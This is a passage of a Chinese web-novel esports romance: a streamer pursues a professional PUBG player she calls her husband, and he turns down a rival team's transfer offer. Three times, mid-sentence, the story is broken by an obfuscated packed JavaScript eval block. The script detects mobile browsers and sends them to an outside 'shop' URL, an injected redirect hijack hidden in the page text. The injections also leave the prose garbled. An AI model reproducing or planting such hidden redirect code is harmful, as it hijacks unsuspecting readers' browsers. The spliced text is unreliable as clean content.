“姐姐,我帮你调一下数据好吗?”耳麦里,陪玩小声问了一句。 秦南枝“嗯”了一声,打开后台数据,跟随陪玩的指导调整数值。 陪玩小哥十分负责,不仅告诉她每一项数值都代表了什么,数值高低对操作的影响讲解的也格外细致。 秦南枝一通操作后,小哥带她打了把全程运营苟到底的双排。 落地就是野区,一路苟到决赛圈,直到决赛圈里剩下6个人时,秦南枝还没开过一枪。 半路开车撞上另一个车队,对面也是掉头就跑。 她沉默了。 “大家打得都这么保守吗?” 小哥回答得更委婉:“低分段都比较注重存活时间,不会有太大的冲突。” 枪法菜呗,秦南枝很会总结。 但这也太没有游戏体验了,她的首要目的是练枪,可不是为了当和平大使。 秦南枝提议:“你能帮我借个高分号吗?花钱也行,咱们打法再激进一点。” 轮到小哥沉默了。 但顾客是上帝,他还是遵从秦南枝的要求,临时借了一个KDA2.7的账号。 秦南枝痛快交钱,打算过把高分段的瘾。 游戏重新匹配前,陪玩小哥将模式改成了四排。 秦南枝嗤之以鼻,有必要这么谨慎吗?今天的秦南枝已经不是昨天的秦南枝了,她的枪法定会让人刮目相看。 很快进入游戏,广场上一堆五颜六色的衣服,秦南枝记住了几件,准备一会儿去交易平台下单。 玩游戏不打扮还有什么意思,原始皮肤丑得要死,有损她的品味! 进入四排后,左下角是这把的队友。 三四号位是她和陪玩小哥,一二号位一个叫foglia,另一个叫yourdad,还挺会占人便宜!

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16889188|192159||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 秦南枝高中时候心血来潮学的意大利语还没全还给老师。 foglia,树叶、树枝。 为什么没继续学下去?当然是阴阳词性单复数太让人头蒙。 秦南枝开着队内语音,前一天的酒醉劲儿还没缓过去,拖长尾音懒洋洋问了一句:“一会儿跳哪?” 听到妹子的声音,十一迟钝地反应过来。 “不好意思哥,我忘了改模式了,咱们这把还打吗?” 恰逢此时,陪玩小哥开了公共麦:“一号二号两位兄弟,我带妹子猥琐发育,咱们后期再见?” 秦南枝小声“嘁”了一声,表达自己的不屑,一个不想打,一个猥琐发育,看不起谁呢? 等着吧,等她的操作亮瞎所有人的眼睛。 飞机起飞,裴颂切换到航线上看了一眼,不在身边的队友就等于没有队友。 他面无表情点了点头:“开吧,跳机场。”顺手屏蔽了3、4号队友语音。 秦南枝握着鼠标的手指猛地一僵,整个人都愣住了。 这路人的声音怎么这么像她老公? 游戏开始,陪玩小哥也打起精神:“姐姐,咱们去哪?” “姐姐在吗?掉线啦?”小哥又催了一遍。 秦南枝这才被惊醒,干咳一声:“啊?在在在!” “姐姐,你这把想跳哪?” “等等!” 秦南枝像被踩了尾巴的猫,飞快切换回微信打字:你先关队内语音,咱俩私聊,快快! 陪玩小哥一头雾水,但金主爸爸最大,职业操守让他瞬间执行。 飞机呼啸,秦南枝的心跳比引擎声还吵。 落地后,秦南枝连枪都不拿,钻进房子便蹲在角落再不动弹。 陪玩小哥见状,一时间摸不着头脑,在yy里小声问:“姐姐?咱……不搜东西吗?需要啥我给你带?” “嘘——”秦南枝压低声音,做贼似的:“你先去,别管我,我……我挂机思考下人生!” 她屏住呼吸,耳朵恨不得钻进游戏耳机里,静静听着队友说话的动静。 机场那么凶险的地方,要是Zero1,肯定小嘴叭叭个不停,他们俩却淡定得仿佛回家。 “狙消要吗?” “155楼顶。” “三级甲,来。” 机械、简洁、冰冷,毫无情绪起伏,仿佛在报天气预报。 尤其是……秦南枝听得眼睛都亮了。 太像了!何止是莞莞类卿! foglia的声音清亮却不单薄,连那点漫不经心的调调都跟她老公像了个七八成。 唯一的“瑕疵”大概是这小子说话时鼻音有点重,像是刚睡醒或者有点小感冒。 但在绝对的实力面前,这点瑕疵简直能镀上金边! 路人小哥人狠话不多,枪法神到出奇,稳得跟开了挂似的,跳机场这种sroll点,也能杀得有来有回。 秦南枝屏着呼吸专心数着,第一个圈尚未刷新,foglia就拿下了至少7个人头。 平替老公!活的!热乎的!带枪的! 这不就是七七糖让她找的大神吗? 秦南枝瞬间酒醒回魂,坐直了身子,活像高中公开课课堂准备回答问题。 拿不下老公就算了,再拿不下平替,要是被姐妹知道了,她秦南枝面子往哪搁?! 胜负欲混合着一种奇异的兴奋感,瞬间点燃秦南枝全身,她嘴角不受控制地向上扬起,扯出一个志在必得的弧度。 秦南枝清了清嗓子,调整了一下麦克风的位置。 回忆着七七糖跟网恋男友连麦时的声音和语气,学那种腔调柔柔喊了一声: “哥哥~” 8. 枝枝喳喳 陪玩小哥正吭哧吭哧搜着物资,冷不丁被从天而降蜜糖炮弹砸得一懵。 “啊?姐姐你叫我?有事吗?” 小哥不解,老板刚才还让他闭嘴呢,这态度转变得……有点极其迅速啊? “怎么是你?”秦南枝愣怔一瞬,随即反应过来:“呵呵,没事啊弟弟……” 秦南枝顾左右而言他,给自己找补的声音都飘了:“我刚想起来,那个,我就是觉得,嗯……这次匹配到的两个队友还挺强,不会是挂吧?” 陪玩小哥有点疑惑,但还是老实回答:“应该不会吧,我刚看了f……就1号的战绩,都打了1000场了,是挂早就封了。可能人实力真挺强的,但是KDA6以上,怎么还不去打职业呢?” “是嘛!”秦南枝语气重新变得雀跃,完全忘了刚才的尴尬,八卦之火熊熊燃烧:“嗳,你说他们会不会就是职业选手——的小号?或者……说不准也是高端陪玩?是不是比你还厉害?” 她选的陪玩可是工作室最贵的那一档,再往上只能是退役职业选手和现役三流职业选手。 那些她都没兴趣,在她心里,除了她那个天花板老公,其他职业选手也就那么回事。 庸脂俗粉,俗! 陪玩小哥心里咯噔一下,一股强烈的职业危机瞬间涌上心头。 又叫哥哥、又关心是不是挂……完了,到手的富婆要飞了! 陪玩小哥没有立即回答,他默默咽下了差点脱口而出的后半句——这人还是亚服前一百的狠角色。 眼珠一转,小哥顿了顿,改口道:“姐姐,说不准这俩人就是……高端挂呢。职业选手小号也太扯了,职业选手最近都在打秋季赛,哪有闲功夫组路人打四排啊?” 怕秦南枝不信,小哥加重了语气:“你跟他一起玩,到时候你账号一块被封。” 秦南枝被这茶香四溢的发言搞得哭笑不得,男的扯起头花水平一点不低,都前言不搭后语了还兢兢业业黑人家。 “哎呀弟弟,你想多啦!我没想找他陪玩,真的!我就是想听我老公,不是!”她差点把心里话说出来,赶紧改口:“就是想听队友打完这一局,等这把结束大家加个好友,下把一起。” 。 裴颂和十一清理完机场后,开车一路北上。 车辆操作交给了十一,裴颂松开握着鼠标的右手,甩了两下手腕,随后从口袋里掏出一粒胶囊,左手单手拧开桌上的矿泉水,将胶囊就水服下。 十一望了一眼,眉头皱起:“哥,又胃疼?” 裴颂靠回椅背,喉结上下滚动,很轻的“嗯”了一声。 十一一副酸倒牙的神情:“我说哥,你还是得好好吃饭,咱们这一行本来就是拿青春赌明天,身体才是革命的本钱,别挣的钱还不够看病呢。” “好好吃饭?”裴颂反问:“一年吃两万肯德基,你把门口那家盘下来算了。” “那不是乡下孩子小时候没吃过……稀罕吗?”十一笑了笑,带着点追忆往昔的唏嘘:“要不是我二舅带我出来打工,我哪有机会摸到电脑啊?” 他们几个情况都差不多,山旮旯的、穷镇子的、破碎家庭的……除了Seven算是例外,其他几个人凑起来,真真是凑不出一对全须全尾、安安稳稳的爹妈。 俩人没再往下聊,十一很快打起精神,苦口婆心让裴颂少吃点甜的,要不然跟他三大爷似的,哪天脚趾头掉了都不知道。 注意力重新转回游戏。 幸运女神仿佛再一次选中秦南枝,安全区一个接一个,始终笼罩在秦南枝头顶。 眼见队友离得越来越近,秦南枝兴奋得搓了搓手,再次交代陪玩小哥。 “记得啊,主要目的是加好友。就算队友是挂也不要紧,号要是不小心被封了,我买单哈。” 平替老公,她来了! 吉普车在荒野上颠簸,裴颂的目光扫过地图上两个几乎重叠、长久未动的队友图标。 “掉线了?”他突然问道。 十一看了眼电脑上的延迟数据:“没有啊,挺好的。” “对面。” 十一反应过来,打开大地图,看了眼队友的位置,也发觉出不对劲儿。 他打开语音:“3号兄弟?什么情况,你们俩怎么一直没动啊?掉线了?” 陪玩小哥心里苦,总不能说是秦南枝示意不许动吧? “兄弟没事,我们附近很安全。” 陪玩小哥为了找回点场子,也为了给秦南枝秀一波高手的观察力,特意补充道:“你们现在走的这条路会跟一个3人队撞脸,后面那个房区也蹲了人,但不清楚是几个。要不要去接你们?” “不用。” 裴颂拒绝的干脆利索。 声音刚落下,秦南枝尚来不及细细品味其中的精华,就听到了不远处传来的枪声。 陪玩小哥:“坏了,他们跟两个队撞脸了。” “那你还等什么?”秦南枝随手抄起脚边的一把UMP9,子弹都没顾上装,就急吼吼地催促:“快带我过去啊!” “不用。” 又是一声低沉冷漠的拒绝,但在秦南枝面前,拒绝一点都不好使。 反而把她听嗨了。 “哎呀!不用什么不用!”她反驳:“我们是队友呀,TEAM你懂吗?同生共死、风雨同舟、生死相随懂不懂?怎么能让你们俩单独面对呢?等我哦。” 十一觉得这妹子声音听起来有点耳熟,但昨天比赛的失误让他一心想要一雪前耻,没心思关心这是个萌妹还是个变声器人妖。 至于裴颂…… 裴颂压根没关心过队里有没有女的。 秦南枝的“team论”噎得裴颂说不出话,他默默操作按键,将秦南枝的语音屏蔽。 陪玩小哥绝望地翻了个白眼,带着“钱难挣,x难吃”的绝望,载着秦南枝往战场中心挪去。 然而,战斗结束的比她们想象得更快,陪玩小哥开车带她过去时,裴颂和十一已经在清扫盒子了。 纵使没给秦南枝展示自己枪法的机会,但眼下一定是最好的搭讪时机。 秦南枝在yy里疯狂敲字: 枝枝喳喳:快,趁现在!加他! AAA陪玩:收到老板TvT! “咳咳,那个……”陪玩小哥操纵角色下了车,溜达到裴颂身边,心里没底气,一句话也说得吞吞吐吐:“哥们儿,你们俩……打得不错啊,要不……咱加个好友下把一起呗。” 十一用的是小号,心态比较放松,觉得加个好友也无所谓,刚想开口应一声,就听见耳边“砰”一声枪响,随后陪玩小哥跪伏在地。 身后冷枪将十一吓得差点从椅子上蹦起来,手一抖鼠标都甩飞了,脱口而出:“哥你干嘛?!” “什么情况,谁打的!”秦南枝还在状况外,根本不知道发生了什么。 她惊慌失措地转动视角,还以为遭遇了伏击。 十一刚想质问裴颂杀路人干什么,裴颂枪口一转,对准了车上坐着的秦南枝,沉声道: “三级头,打身子。” 。 “姐姐,要不陪玩费我退给你吧,别去客服那儿投诉我。”yy频道里,陪玩小哥的声音都跟霜打的茄子似的蔫巴。 他干这一行也有两年了,什么妖魔鬼怪没见过? 不打游戏、不聊天,帮忙勾搭男人的,还真是头一回! 为了安慰秦南枝,陪玩小哥只能把脏水往别人身上泼:“那哥们绝对是挂,怕被人举报,都不敢加好友的!” “行了,钱不用退,也不投诉你。”秦南枝心情很差,但不会拿别人撒气:“你再带我打两把,我练练枪。” 秦南枝从不是轻言放弃的性格。 羊了个羊刚出的时候,家族群天天有人晒过关截图,偏老天跟她作对,死活过不去关卡。 她是怎么做的?她一天不吃不喝打了200多把!< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16889189|192159||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>可耐不住她是个三分钟热度,现在她都忘了羊了个羊大门朝哪开了! 或许她对平替老公也是?热乎两天便抛之脑后了。 秦南枝松开鼠标,拿起桌子角落里一支护手霜涂了起来。 不管以后是不是弃之如敝履,至少现在不是。 秦南枝嘴唇抿成一条线,心里直埋怨这男的没眼光,但不得不说,平替哥连装x的样子都跟她老公有七八分像。 得不到的永远在骚动,更让人心痒痒了。 难搞。 打了一白天游戏,2.7的KDA成功被秦南枝打到2.3,屁股都坐麻了,午饭也是在电竞椅上解决的。 她起身在家里活动了一圈,扭扭腰、扭扭脖子,走到化妆台前简单描了几下眼线,顺便点好晚饭的外卖。 凭她的天生丽质哪需要浓妆艳抹,再说了,她是个靠实力混饭吃的主播,打扮那么好看做什么? 晚上六点,秦南枝准时打开直播,将画面调整到今天晚上的PCL周中赛。 本想安安静静欣赏老公的盛世美颜,没想到第一局游戏刚开始,解说还没介绍到CZG战队,直播间就涌入将近一万人。 这是什么天降大饼?秦南枝被砸懵了。 她眨了几下眼,在让人眼花缭乱的弹幕里,精准捕捉到了那个让她恨得牙痒痒的ID。 【Zero1送出火箭x10~~】 弹幕瞬间沸腾,跟下饺子似的,还有人起哄她干脆拜师Zero1,直接将他拿下。 可笑! 秦南枝气得差点儿跳脚,她眼又没瞎,Zero1长成大饼点芝麻的样子,简直是侮辱她的审美! 【Zero1送出玫瑰花x99~~】 【Zero1成为zz_puff直播间舰长。】 秦南枝深吸一口气,谁叫花钱的才是大爷? 她温柔笑了笑:“感谢Zero1送来的礼物,我会加油的!” 代表高级粉丝的金黄色特效弹幕从屏幕上划过——【Zero1:妹子,你之前骂我的时候可没有这么温柔。】 活该被骂! 秦南枝深吸第二口气,转开眼不去看弹幕,专心欣赏她老公的顶级操作。 PUBG的偶然性是这个游戏最为人津津乐道的一项,职业选手怎么了,职业选手也落地成盒! 比起路人局,职业局节奏非常快,直播也是一会儿闪到这队、一会儿飘去那队。 她还没看清楚局势,场上16支队伍就锐减一半了。 镜头切到选手席,秦南枝认出来了和她一起打游戏的十一跟裴颂,还有几个导播频频给镜头的选手,想来就是什么Winter、阿K。 跟她老公比起来差远了。 好像为了验证秦南枝的眼光,裴颂直接打出一波一穿三灭队的操作,CZG这把吃鸡,积分重新回到第一。 老公好厉害~ 秦南枝嘴角止不住扬起,拿手机拍了两张直播画面,发到群里。 枝枝喳喳:怎么办,眼光就是这么好? 七七糖:星露谷玩家电脑没有截屏键? 赵若月:直接拿下啊,不是说竞男裤腰带都很松? 赵若月:如果他们的心有密码,想必就是6666。 怎么可能!秦南枝可是看过不少小道消息,别说谈恋爱、私联粉丝了,裴颂简直是无情道优秀毕业生。 不等秦南枝跟赵若月解释她老公是颜色不一样的烟火,七七糖扔到群里一个视频链接。 七七糖:那你抓紧,否则生孩子的视频这两天就剪出来了! 什么鬼! 秦南枝颤抖着手点开视频——【“独我爱你凛冽的眉眼”WinterxSong冬日颂歌个人向】 一个冷面如霜、一个暖阳和煦,配着柔情脉脉的音乐,秦南枝浑身鸡皮疙瘩都起来了。 枝枝喳喳:小道消息勿信,昨天晚上老公还在我床上。 9. 枝枝喳喳 比赛现场,第一局结束的休息时间,陈令飞交代了几句个人打法上的问题。 裴颂靠在电竞椅上,指尖无意识地揉捏着有些僵硬的手腕,目光落在数据屏上,听着,没什么表情。 “行了,都活动活动,调整下。”陈令飞揽着阿杜往外走。 小艾几人要组团下楼抽烟。 “哥,给你带点啥不?”小艾问。 裴颂刚想回答,口袋里的手机震了两下,他看了眼消息后,眉心微微收紧。 “不用。”他对小艾摆了下手,随即起身走到休息室靠里、稍微安静点的角落。 电话几乎是秒接通。 当熟悉的、带着浓重乡音的老妇人的声音从听筒里传来时,裴颂紧绷的下颌线明显柔和下来。 “奶奶?”裴颂换成方言,声音很轻:“怎么突然打电话?” Seven最近在备孕,没跟他们下去抽烟,原本在刷手机,听见后悄悄抬眼瞥了眼裴颂的神情,嘴唇无声动了动:没事吧? 裴颂耸了下肩,继续缓声安慰对面:“你别着急,上次检查医生就说没事了,这次头晕可能只是累到或者血压不稳。” 他在心里算了下时间:“我下周一二有空,先帮你们挂上海医院的号,等过两天比赛打完了,接你们过来看。” 短暂的休息时间结束,秦南枝对着镜头甜甜笑了笑,感谢粉丝送的礼物后,重新将目光转移到游戏上。 之后几局CZG突然换了风格,两个突击位开了暴走,见人就打、见车就炸,枪声比大年三十的鞭炮都密,不知道的还以为游戏里的肾上腺素扎他身上了。 受裴颂今天疯狗打法的影响,其他队伍也一个比一个头铁,见面就打、不死不休,六局高强度对抗赛,竟然在晚上十点刚过就草草收场。 最终,CZG与老对手NKG并列积分榜第一。 这本应该是件高兴的事情,但不知道为什么,秦南枝看着裴颂的模样,心里闷闷的。 导播的镜头恰好怼着他的脸,裴颂神情冷淡地收拾外设,看不出重回第一的喜悦,尤其是在旁边队友兴奋神情的衬托下,他像个局外人。 跟上海烦人的梅雨天气一样,潮湿黏腻,空气都沉沉的,让人喘不上气。 他好像有点不开心。 比赛现场巨大的LED屏上投射出CZG四名选手的照片,穿着黑白队服的裴颂一如既往面无表情。 秦南枝看出了不一样的地方。 照片里他是放松的、甚至带着点睥睨的游刃有余,现在却是紧绷的,眉头压得很低,嘴角微微下垂,像在极力压抑着什么。 屏幕上画面切换,变成了散场前选手们互相致意的花絮片段。 托七七糖所赐,秦南枝几乎一眼就在选手里锁定了她老公的野生官配——Winter。 虽然名字叫冬,但Winter本人可是PCL出名的老好人,英年早婚,儿女双全。 只见画面里,Winter笑容满面地拨开人群,目标明确地直奔Song而去。 在裴颂弯腰整理背包带的瞬间,Winter极其自然地、甚至带着点熟稔亲昵地抬手,不轻不重地在他后腰上捶了一拳,嘴里似乎还笑着说了句什么。 导播恰好在此时掐断了画面。 望着漆黑一片的直播间,秦南枝恨得牙痒痒。 蹭蹭蹭,真能蹭! 都等不到明天天亮,一会儿B站上就能冒出从“冬日颂歌”到“拳拳爱意”八百个CP向剪辑! 这股无名火来得快,消散得也莫名其妙。 游戏进入更新读条,秦南枝望着屏幕上缓慢爬升的进度条,眼神却早已涣散。 她单手托着腮,手肘随意地撑在桌面上,回忆方才第一局结束前裴颂的神情。 她无意识地用指尖轻轻敲着桌面,发出细微的哒哒声,眉头微蹙,心底那个小小的疑问泡泡越胀越大,压过了所有其他杂念,充满整个胸膛: 裴颂他……为什么不开心呀? 。 裴颂收拾着东西还未起身,后腰便传来一阵钝痛。 不等他回头,Winter便从身后走上来,笑着拍了拍他的肩,半开玩笑地感叹:“你小子,是要我当场退役的节奏啊?” Winter今年不过26,放在PCL却已经是妥妥的老人了,每年转会期都有他要退役的小道消息。 因为身上挂着PCL赛区唯一一个世界亚军,是赛区的标志性人物。 当裴颂这位天才新星横空出世后,两人因同样耀眼的光芒,自然成为众人比较的对象。 见到来人,裴颂脸色缓了些:“冬哥,你不也追着我杀?” “少来,我这人小心眼。”Winter扯着他,半推半拽往外走:“有点事情找你,咱们出去说。” Winter孤身入敌营,四周CZG娘家人纷纷察觉到了不妙,虎视眈眈盯着二人,尤其是角落阴影处的阿杜,见状更是恨不得冲上来。 陈令飞你天天屁话那么多,怎么偏偏今天不在! 阿杜跟着两人,又不敢跟太紧,都快急哭了。 Winter脚下不停,几乎是把裴颂拖出了喧嚣的演播室。 直到电梯在一楼停下,二人来到相对空旷的一楼大厅角落。 “之前老王托我探探你的口风,我说你肯定不走,结果他自己找上你们老板了。”Winter抬眼看他的神情:“赵哥……应该跟你通过气了吧?就老王开的那条件?” 身边来来往往的选手和工作人员,但无论谁经过这个角落,目光都不由自主地被吸引。 新老两代神站在一起,本身就是一道惹眼的风景线,好奇的、探究的、带着兴味的目光像无形的空气包裹着二人。 裴颂背靠着照片墙,面色坦然,点了点头:“说了,赵哥问过我意思。” “但我拒绝了。” “小裴!”Winter声音一下急了起来:“两年了!可以说你是等PGC等了两年,CZG现在的情况你我都清楚,你真的甘心再浪费一年吗?” Winter声音压得更低,带着点恨铁不成钢的惋惜:“老王开的转会费就不说了。你知道我什么情况,我最多再打一年,等我退役,NKG未来都是你的!咱们不说以后,如果你今年来,指挥马上给你。” 说完,他的目光紧紧锁着裴颂,试图从裴颂脸上找到一丝动摇的裂痕。 裴颂安静地听着,背脊依旧挺得笔直,大厅明亮的顶灯落在他眼底,映不出一丝波澜,只有一片沉静的墨色。 直到Winter劝诱告一段落,他才缓缓开口,声音不高,却异常清晰:“谢了冬哥。” 听到这个标准的开场白,Winter叹息一声,像泄了气的皮球,不消他继续说下去,就知道了答案。 裴颂的视线越过Winter的肩膀,似乎看向某个遥远的、只有他自己能看到的目标。 “我跟赵哥保证过,我要带着CZG,拿到世界冠军。” Winter张了张嘴,像是被这过于朴实又过于沉重的目标噎住了。 他看向那张年轻却不张扬的脸,那上面没有对天价转会费的一丝向往,只有一种近乎偏执的担当和孤勇。 良久,他深沉地、无奈地垂下脑袋,肩膀都垮下去几分。 “行…行吧!”Winter重重拍了下裴颂的胳膊,力道带着点发泄,又带着点复杂的心疼:“你小子,要不是赵哥闺女才三岁,不知道的还以为你是他女婿呢?给你灌了什么迷魂汤?” 裴颂扯了下嘴角,身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16889190|192159||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子趔趄着站稳。 “冠军是那么好拿的?CZG那阵容……”Winter最终还是把后面可能打击人的话咽了回去,摇了摇头:“算了算了,人各有志!你小子自己选的路,跪着也得给我走完!到时候要是摔了跟头,可别怪哥没提醒过你!” 他嘴上说着狠话,眼神却软了下来。 裴颂决定的事情,或许九头牛都拉不回来。 但这个年轻人不明白,有时候承诺的分量,比他想象中要重多了。 裴颂握了握他的手,大厅的灯光下,人来人往的喧嚣似乎都成了模糊的背景板,一个带着即将走下舞台的遗憾,一个背负着沉甸甸的誓言,沉默地对视着。 两代巅峰选手的使命,在无声中完成了交替。 送走Winter后,裴颂回到大巴,刚上车,就对上了阿杜那双欲言又止的眼睛。 “那什么……胃还疼不?”阿杜乱找话茬。 “Seven说你家出事了,要紧不?” “Winter他找你叙旧说了这么半天啊,哈哈说什么了?” 裴颂捂着胃坐下,冷冷抛出一句:“我没答应他。明天没比赛,我请假去医院。” 阿杜松了口气:“那就好那就好,不不不,我不是那个意思,有什么事就跟哥说。” 裴颂已经阖上了眼:“嗯。” 。 心里揣着事情,秦南枝打游戏时也没什么心思,常有一梭子弹打完,敌人只受皮外伤的闹剧。 弹幕里的粉丝有起哄的,有冷嘲热讽的,她也没放任自己摆烂下播,硬是调整心态打完了5个小时。 关掉屏幕的一瞬,世界清静了,心里的憋闷却更沉了。 她泄气地把自己摔进柔软的床铺,脸埋在枕头里闷了几秒,才摸出手机。 南红玉晚上八点多给她发了消息,喊她明天回家吃饭。 回家! 秦南枝赶紧联系赵若月,跟她串通口供。 “主播真不是一般人能干的。”电话接通,秦南枝像找到宣泄口,抱着膝盖对着那头哭诉:“半个小时,我把这辈子能想到的骂人的话都在心里说完了。” “当然了,你在明别人在暗,花个几块几毛钱就都哄着,我们枝枝大小姐向来是被人哄着,所以我说你吃不了台前这碗饭。” 赵若月那边有沙沙的水声,秦南枝以为她在放浴缸的水。 “你还敢开按摩浴缸?”秦南枝揪着袖口的小线头,忿忿道:“我现在为了省电,晚上睡觉都不敢开大排灯。” 赵若月嘘她:“你就是自找苦吃,跟叔叔阿姨认个错的事儿,结果现在把自己先砸进去了,要不你跟我混算了?保证比你搞直播轻松。” 秦南枝一把拽过床上的玩偶,几拳重重砸在玩偶肚子上,声音闷闷的:“不!从小到大……我只会花钱,本来想做点什么也让我爸脸上有点光,谁知道干什么什么不行。” 她声音低了下去:“要是让他们知道我现在专职做自媒体,还开直播……很不体面吧?说不准又要喊我回家啃老了。” “这又怎么了?挣钱就是大大方方的,你瞧咱们高中那个……”赵若月想了下她们俩高中同学如今叫什么:“哦对,她现在改名叫Riko了,自己穿正品,开直播卖假货。你这光明正大,凭本事吃饭,放心,你做什么姐妹都支持你。” 秦南枝就知道世界上最懂她的还是赵若月。 “姐妹——”她拉长音,准备搞个温情告白,结果台词还没组织好,就听见电话里传来一个男人的声音。 秦南枝怒了:“赵若月!你就是想把我打发走跟男人鬼混。” 被戳穿了赵若月也不急,慢条斯理道:“宝贝,我劝你也找个男人调节一下激素。经常生气会变老的,goodnight。” 10. 枝枝喳喳 第二天一早,秦南枝特意定了十点的闹钟起床。 先去美容院做了SPA,卷了头发,收拾得光鲜亮丽,又去给南红玉买了束花,还不能图便宜,花材都是进口的。 看着账户里的钱一点一点在减少,秦南枝顿生剜心之痛,说不准她真要靠卖包度日了。 走出商场,马路对面一排奢侈品回收店铺,阳光下玻璃幕墙闪闪发光,仿佛在跟她招手。 靠!秦南枝觉得自己受到了嘲讽! 刚坐上网约车,车里的凉气还没吹散她心头的躁动,秦南枝就接到了七七糖的电话。 七七糖上来问了她几句直播的事情,秦南枝捡了些无关紧要的跟她说了,继而追问她有什么别的事情。 虽然大家都是朋友,但七七糖跟她认识的时间短,关系也自然不比赵若月那种荤素不忌。 在七七糖面前,嘻嘻哈哈打打闹闹可以,真关系到切身利益的事情,她还是不愿讲太透的。 到现在,即使七七糖和她知道彼此真名,互相称呼还是习惯用网名。 电话那头,七七糖听起来十分低落。 “泡芙,我记得你说月月爸爸是安和的院长?能不能帮我问一下黄为民主任最近有没有号?” 七七糖和赵若月是因为她才认识的,群里除非她先挑起话头,她们俩几乎不会主动联系对方。 “黄主任啊,这个我也说不准。” 秦南枝对黄主任不陌生,全国都排得上号的内分泌专家,黄牛票都得靠抢,之前秦聪好几个有头有脸的朋友都请他帮忙挂号。 对她家来说不难,但毕竟是绕了一个环节求人办事,她没把话说死。 “我今天晚上刚好要回家吃饭,赵若月她们一家也来。这样吧,我帮你问问。” “那太好了!”七七糖的声音瞬间活了过来:“谢谢你呀。我表哥说他们俱乐部最近搞了个陪玩工作室试试水,都是青训的一些小孩子,但是技术绝对靠谱。你要是需要人教你,跟我吱一声,我帮你约个时间,保证随叫随到!” 纵使明白七七糖这番话只是礼尚往来的利益交换,但不得不说,这句话精准戳中了她的需求。 她正愁自己那下饭的操作和惨淡的直播效果呢! 职业青训当陪玩,那技术岂是普通陪玩能比的?更重要的是,说不定……还能接触到裴颂圈子的边缘? 心底那杆小天平瞬间倾斜。 “哎呀,那多不好意思,”秦南枝嘴上说着客套话,声音却明显愉悦起来:“不过……要是真有时间的话,指导一下我的游戏技术也挺好。我这水平你也知道,确实有点拖后腿了。” 七七糖立刻打包票:“没问题!包在我身上!等你有空了告诉我时间就行!我先去跟我表哥打招呼!” “好呀,”秦南枝应得干脆利落:“那黄主任的事你也别急,晚上等我消息。” 。 “最近一周黄主任都没有号吗?” 电话里,医院客服依然是那套官方回答:“对的,黄主任最近一周的号源全部约满。请您多关注官方小程序,如果有人取消挂号,我们会第一时间将名额释放出来。” 裴颂捏了捏发胀的眉心,道过谢后挂掉了电话。 九月份的上海,秋老虎依然热烈。 裴颂望向窗外,楼下花园里站着几个抽烟放风的青训队小孩。 有人看见了他,冲他招手,裴颂抬了下下巴,当作回应。 艳阳焦烤着头顶的黑发,不一会儿,便觉得头顶发烫,但阳光的温度却驱不散他周身弥漫的低气压。 今天没比赛,十一跟小艾一觉睡到下午两点,刚从食堂出来,就瞧见走廊尽头窗户边上站着的裴颂。 十一下意识喊了声“裴哥”,就要走过去。 不愧是突击位,小艾反应极快,一把扯住他衣领,把人拦下:“眼瞎啊你,没看你哥不高兴呢?” “啥情况?” 小艾眼神示意他噤声,两人默契地放轻脚步,蹭到离裴颂几步远的地方停下。 观察了一会儿,小艾拍了下十一的肩,用一种刻意放轻松、仿佛刚发现裴颂的语气开口:“哥?站这儿干嘛呢?晒太阳补钙啊?” 裴颂转过身,言简意赅:“没什么。”再未多言。 俩人叫他的话堵了一下,脸上都有些尴尬。 “那啥,有事就说!”小艾也就是对着女粉嘴皮子利索点:“虽然兄弟不一定能帮的上忙,但是……也能听你诉诉苦。” 十一帮腔:“是啊,我们不行,还有赵哥呢,你现在可是赵哥的金饽饽。要不是嫂子不同意,赵哥都恨不得晚上搂着你睡觉,生怕你被老王挖走。” 裴颂沉默几秒,从他们身边绕开,擦肩而过时,拿肩膀撞了下十一:“谢了。” “啧!”小艾不服:“咋不谢我?” 裴颂突然回身,抬脚踹在他膝窝,小艾向前一趔趄,差点摔跤。 “嘿,你个不识好人心!” 裴颂没有回头,继续往前走:“下次雷再飞,还骂你。” 小艾:“我再不济也比那妹妹强吧?你说是不是?” 十一懒得理他:“你要不要脸?看人妹妹直播看嗨了?” “我那叫见证电竞新星冉冉升起!你懂不懂?” 可惜裴颂已经走远,什么都没听见。 。 秦南枝回家的时候,秦聪还在跟赵若月她爸显摆自己周末钓了条一米二长的草鱼。 “赵叔叔你别信,他买了个钓鱼佬自尊放大器!”说完,秦南枝把花放在桌子上撒腿就跑。 赵焕明皱了皱眉:“老秦,枝枝说的是什么……放大器?” 秦聪一拍手,利落起身:“瞧我这记性,我去看看汤好了没!” 秦南枝躲进书房的时候,南红玉正在看志愿者给的资助学生名单。 一看她着急忙慌的模样,南红玉便笑了:“又拆你爸爸的台。” 这父女俩从小就是冤家。 